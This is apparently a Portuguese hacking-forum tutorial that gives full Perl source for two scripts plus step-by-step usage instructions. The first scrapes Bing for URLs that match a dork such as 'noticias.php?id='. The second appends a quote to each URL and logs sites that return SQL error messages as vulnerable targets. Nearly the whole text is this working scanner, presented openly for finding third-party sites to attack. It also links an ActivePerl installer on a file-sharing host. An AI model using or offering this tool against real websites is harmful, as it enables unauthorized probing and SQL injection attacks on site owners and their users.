Como achar sites vulneraveis a SQL injection

Fala ae galerinha do mal tudo bem ?kk 
Hj vou estar ensinando a criar um scan que faz procuras por sites vulneraveis a SQL injection. Bom chega de papo e vamos la ! 

1° Passo baixe o programa  ActivePerl-5.16. http://www.mediafire.com/download/wpvaa96vjcibsk1/ActivePerl-5.16.rar Para que possa rodar os arquivos !!!

2° Passo abra seu bloco de notas e cole este codigo :

#!/usr/bin/perl


#Coded: Brlo0ping


 use LWP::UserAgent;


print "----|| Coded: Brlo0ping ||-----||Acc3ss ro0t:~# ----||\n";


print "Digite um dork: ex:(noticias.php?id=100)\n" ;


print "-->>";


$dork = <STDIN>;


chomp($dork);


for ($i = 0; $i < 1000; $i += 10) {


$b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');


$b->timeout(30);


$b->env_proxy;


$c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content;


$check = index($c, 'sb_pagN');


while (1) {


$n = index($c, '<h3><a href="');


if ($n == -1) {


last;


}


$c = substr($c, $n + 13);


$s = substr($c, 0, index($c, '"'));


open (txt,">>lista.txt");


print txt  $s,"\n";


close(txt);


}


if ($check == -1) {


last;


}


}


system("lista.txt");


exit;



........................ .................. e salve na sua area de trabalho como scan.pl

3° Passo: abra novamente seu bloco de notas e cole este codigo:


#!/usr/bin/perl


use LWP::UserAgent;


use HTTP::Request;


use LWP::Simple;





$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }


system("$cmd");





if (!$ARGV[0]) {





$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }


system("$cmd");





my @bannerzinho = (0,100..200);


my $variavelbanner = $bannerzinho[int rand @bannerzinho];





if ($variavelbanner % 2 == 0) {





&bannerUm();


exit;





}


else {


&bannerDois();


exit;


}


}





&bannerDois();





print q {


  Scaneando WebSite...








};





open( SITE, "< $ARGV[0]" ) or die( "Nao foi possível abrir o arquivo: $!" );





our @array = <SITE>;





$numero = $#array;





for ($i = 0; $i <= $numero; $i++) {





$Dominio = "$array[$i]";





if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }








$cmd = "'";





$site = "$Dominio$cmd";





my $req=HTTP::Request->new(GET=>$site);


my $ua=LWP::UserAgent->new();


$ua->timeout(15);


my $resposta=$ua->request($req);





if($resposta->content =~ /You have an error in your SQL syntax/ ||


$resposta->content =~ /MySQL server version/ ||


$resposta->content =~ /Syntax error converting the nvarchar value/ ||


$resposta->content =~ /Unclosed/ ||


$resposta->content =~ /SQL Server error/ ||


$resposta->content =~ /JET/) {





print "\n \t $Dominio \n";





open (NOTEPAD, ">> Sites Vulneraveis.txt");


print NOTEPAD "$site\n";


close(NOTEPAD);





}


}





print q {





FIM DO SCANNEAMENTO !





};








sub bannerUm {





print q {











_______________________


< Hello !! Welcome !! >


-----------------------


\ ,__,


\ (oo)____


(__) )\


||--|| *


| | _) |


__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|


| | | __/ | ( |\__ \ | | | ( | | |


_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|


_| Scanner v 1.0











Modo de uso: perl ScannerSQL.pl lista.txt


Scanner criado por: Loko Virtual








};








}





sub bannerDois {





print q {


_ _


_ | | (_)_


____ ____| |_ ____ ___ ____ | | ___ _| |_


| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)


| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__


|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)


|_| Scanner v 1.0











Modo de uso: perl ScannerSQL.pl lista.txt


Scanner criado por: Loko Virtual











};





}


........................ .................... e salve como sql.pl na sua area de trabalho!

4° Passo: Execute o scan.pl
Agora vc terá que colocar uma DORK EX: noticias.php?id=12 --->voce pode estar utilizando outros --->
Vamo la 

Digite: noticias.php?id=12 e de enter 
Vai começar a fazer um scan em todos os sites que tem esta DORK e ira criar um arquivo chamado "lista.txt" depois se você quiser parar é so apertar Ctrl + C.

5° Passo: agora abra seu CMD: pra quem não sabe aperte iniciar + R e ira abrir uma caixa de dialogo e digite cmd  e de enter.

6° la vai estar na seguinte pasta -
C:\Users\USER>

Digite cd desktop e de enter e vai ficar assim:

C:\Users\USER\Desktop>

Digite sql.pl lista.txt e de enter /////e agora vai começar o scan e ira criar um arquivo txt chamado Sites Vulneraveis.